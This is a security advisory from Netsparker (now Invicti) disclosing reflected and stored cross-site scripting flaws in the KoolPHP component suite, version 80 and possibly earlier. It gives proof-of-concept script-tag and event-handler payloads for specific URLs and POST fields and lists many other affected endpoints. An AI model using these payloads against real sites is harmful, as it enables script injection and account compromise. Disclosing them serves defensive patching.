Information
--------------------
Advisory by Netsparker (now Invicti)
Name: Multiple XSS Vulnerabilities in KoolPHP
Affected Software: KoolPHP
Affected Versions: 80 and possibly below
Vendor Homepage: http://www.koolphp.net/
Vulnerability Type: Cross-site Scripting
Severity: Important
Invicti Advisory Reference: NS-14-040

Description
--------------------
KoolPHP is a vendor of PHP User Interface (UI) components. We focus on building the featured rich yet easy-to-use components to help developers increase productivity and deliver highest quality applications within time and budget constraints.

Technical Details
--------------------
Proof of Concept URLs for XSS in KoolPHP:

http://example.com/KoolPHPSuite/Examples/KoolTabs/Advances/PostBack_On_Selection/ (POST, fields: kts_selected)
'"--></style></scRipt><scRipt>alert(0x008D03)</scRipt>

http://example.com/KoolPHPSuite/Examples/KoolTreeView/Features/Tree_Context_Menu/subnode.php?level='"--></style></scRipt><scRipt>alert(0x009381)</scRipt>&__koolajax=1

http://example.com/KoolPHPSuite/Resources/senderr.php/"onload="alert(9)

http://example.com/KoolPHPSuite/Examples/KoolUploader/Appearance/Styles/ (POST, fields: style_select)
'"--></style></scRipt><scRipt>alert(0x009A07)</scRipt>

http://example.com/KoolPHPSuite/Examples/KoolComboBox/Advances/With_TreeView/index.php (POST, fields:kcb_selectedText)
</textarea><scRipt>alert(9)</scRipt>

http://example.com/KoolPHPSuite/Examples/KoolTreeView/Appearance/Styles/index.php (POST, fields: style_select)
'><iMg src=N onerror=alert(9)>

Permanent Cross-site Scripting

http://example.com/KoolPHPSuite/Examples/KoolAjax/UpdatePanel/Ajax_Comment_Post/ (POST, fields: comment_name)
'"--></style></scRipt><scRipt>alert(0x001B3B)</scRipt>

http://example.com/KoolPHPSuite/Install/index.php?step=1&err=true (POST, fields: dbhost)
<scRipt>alert(0x00A4EF)</scRipt>

http://example.com/KoolPHPSuite/Examples/KoolAjax/UpdatePanel/Ajax_Comment_Post/index.php?id=%27 (POST, fields: comment_name)
'"--></style></scRipt><scRipt>alert(0x001B3B)</scRipt>

Other URLs

http://example.com/KoolPHPSuite/Examples/KoolTabs/Features/Scrolling/index.php (POST, fields: scrolling )
http://example.com/KoolPHPSuite/Examples/KoolForm/Decoration/First_Look/ (POST, fields: selectStyle )
http://example.com/KoolPHPSuite/Examples/KoolComboBox/Advances/With_TreeView/ (POST, fields: kcb_selectedText)
http://example.com/KoolPHPSuite/Examples/KoolImageView/Features/Effects/index.php (POST, fields: effect_select)
http://example.com/KoolPHPSuite/Examples/KoolCalendar/Appearance/Styles/index.php (POST, fields: style_select )
http://example.com/KoolPHPSuite/Examples/KoolCalendar/TimePicker/TimePicker_FirstLook/index.php (POST, fields: timepicker )
http://example.com/KoolPHPSuite/Examples/KoolComboBox/Appearance/Styles/index.php (POST, fields: style_select)
http://example.com/KoolPHPSuite/Examples/KoolCalendar/DatePicker/DateFormat/index.php (POST, fields: datetimepicker )
http://example.com/KoolPHPSuite/Examples/KoolTabs/Appearance/Styles/ (POST, fields: style_select )
http://example.com/KoolPHPSuite/Examples/KoolCalendar/DateTimePicker/DateTimePicker_FirstLook/index.php (POST, fields: datetimepicker )
http://example.com/KoolPHPSuite/Examples/KoolTabs/Features/Alignment/index.php (POST, fields: alignmentSelect )
http://example.com/KoolPHPSuite/Examples/KoolAjax/UpdatePanel/First_Look/index.php (POST, fields: country1 )
http://example.com/KoolPHPSuite/Examples/KoolSlideMenu/Appearance/Styles/index.php (POST, fields: style_select )
http://example.com/KoolPHPSuite/Examples/KoolMenu/Features/Effect/ (POST, fields: effect_select )
http://example.com/KoolPHPSuite/Examples/KoolComboBox/Features/Basic_ComboBox/index.php (POST, fields: kcb_selectedText )
http://example.com/KoolPHPSuite/Examples/KoolAjax/UpdatePanel/Ajax_Comment_Post/index.php (POST, fields: comment_name )
http://example.com/KoolPHPSuite/Examples/KoolTreeView/Appearance/Styles/ (POST, fields: style_select )
http://example.com/KoolPHPSuite/Examples/KoolCalendar/DatePicker/DatePicker_FirstLook/index.php (POST, fields: datepicker )
http://example.com/KoolPHPSuite/Examples/KoolComboBox/Advances/AutoPostback/index.php (POST, fields: kcb_selectedText)
http://example.com/KoolPHPSuite/Examples/KoolImageView/Appearance/Styles/index.php (POST, fields: style_select )
http://example.com/KoolPHPSuite/Examples/KoolListBox/Appearance/Styles/index.php (POST, fields: selectStyle )
http://example.com/KoolPHPSuite/Examples/KoolMenu/Appearance/Styles/index.php (POST, fields: style_select )

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
--------------------
27/06/2014 - First Contact
07/07/2014 - Second Contact
09/12/2014 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
--------------------
Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.